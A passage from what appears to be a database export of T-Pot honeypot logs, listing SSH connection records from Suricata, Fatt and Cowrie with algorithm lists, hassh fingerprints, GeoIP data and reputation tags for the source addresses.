"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56036, "dest_port": 22, "timestamp": "2021-09-20T11:08:38.961147", "@timestamp": "2021-09-20T11:08:38.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24479	46.101.115.211	109.199.241.180	Suricata	2021-09-20 14:08:39.44399+03	2021-09-20 14:15:08.849503+03	{"_id": "pwbkAnwBvYTbRNuExxIl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "flow_id": 1572312024867013, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35696, "dest_port": 22, "timestamp": "2021-09-20T11:08:39.443990Z", "@timestamp": "2021-09-20T11:08:39.443Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24480	46.101.115.211	109.199.241.180	Fatt	2021-09-20 14:08:39.444066+03	2021-09-20 14:15:08.8515+03	{"_id": "qQbkAnwBvYTbRNuEyBIS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "46.101.115.211", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 35696, "dest_port": 22, "timestamp": "2021-09-20T11:08:39.444066", "@timestamp": "2021-09-20T11:08:39.444Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24481	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:40.858959+03	2021-09-20 14:15:08.8525+03	{"_id": "0gbkAnwBvYTbRNuEyxIP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1654635810509653, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 59312, "dest_port": 22, "timestamp": "2021-09-20T11:08:40.858959Z", "@timestamp": "2021-09-20T11:08:40.858Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24483	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:08:42.014582+03	2021-09-20 14:15:08.8555+03	{"_id": "6wbkAnwBvYTbRNuEzxLm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56438, "dest_port": 22, "timestamp": "2021-09-20T11:08:42.014582", "@timestamp": "2021-09-20T11:08:42.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24484	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:41.500409+03	2021-09-20 14:15:08.856509+03	{"_id": "7AbkAnwBvYTbRNuE0BJb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "fb161bad0075", "@version": "1", "duration": 2.557852268218994, "timestamp": "2021-09-20T11:08:41.500409Z", "@timestamp": "2021-09-20T11:08:41.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
24485	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:08:41.525565+03	2021-09-20 14:15:08.858473+03	{"_id": "7wbkAnwBvYTbRNuE0BJc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "87076ebb691d", "@version": "1", "duration": 2.841897487640381, "timestamp": "2021-09-20T11:08:41.525565Z", "@timestamp": "2021-09-20T11:08:41.525Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24486	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:08:41.998558+03	2021-09-20 14:15:08.859507+03	{"_id": "7gbkAnwBvYTbRNuE0BJb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "235b59fbd42d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:41.998558Z", "@timestamp": "2021-09-20T11:08:41.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24487	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:42.999397+03	2021-09-20 14:15:08.8605+03	{"_id": "9QbkAnwBvYTbRNuE0xLP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.105.211.46", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 37140, "timestamp": "2021-09-20T11:08:42.999397", "@timestamp": "2021-09-20T11:08:42.999Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
37467	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:22:12.605454+03	2021-09-20 15:30:03.709882+03	{"_id": "kQYoA3wBvYTbRNuEHmlv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:22:12.605454Z", "@timestamp": "2021-09-20T12:22:12.605Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
24488	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:08:43.011013+03	2021-09-20 14:15:08.8625+03	{"_id": "KAbkAnwBvYTbRNuE1hPK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 920655964602233, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57824, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.011013Z", "@timestamp": "2021-09-20T11:08:43.011Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24489	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:08:43.96216+03	2021-09-20 14:15:08.863504+03	{"_id": "JQbkAnwBvYTbRNuE1hPJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1667559367328785, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 57536, "dest_port": 22, "timestamp": "2021-09-20T11:08:43.962160Z", "@timestamp": "2021-09-20T11:08:43.962Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
24490	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:43.250322+03	2021-09-20 14:15:08.865501+03	{"_id": "MQbkAnwBvYTbRNuE1xO6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38564, "timestamp": "2021-09-20T11:08:43.250322", "@timestamp": "2021-09-20T11:08:43.250Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24491	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:08:43.288487+03	2021-09-20 14:15:08.8665+03	{"_id": "LQbkAnwBvYTbRNuE1xO5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 53400, "timestamp": "2021-09-20T11:08:43.288487", "@timestamp": "2021-09-20T11:08:43.288Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24492	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:08:43.511506+03	2021-09-20 14:15:08.867503+03	{"_id": "MAbkAnwBvYTbRNuE1xO5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": 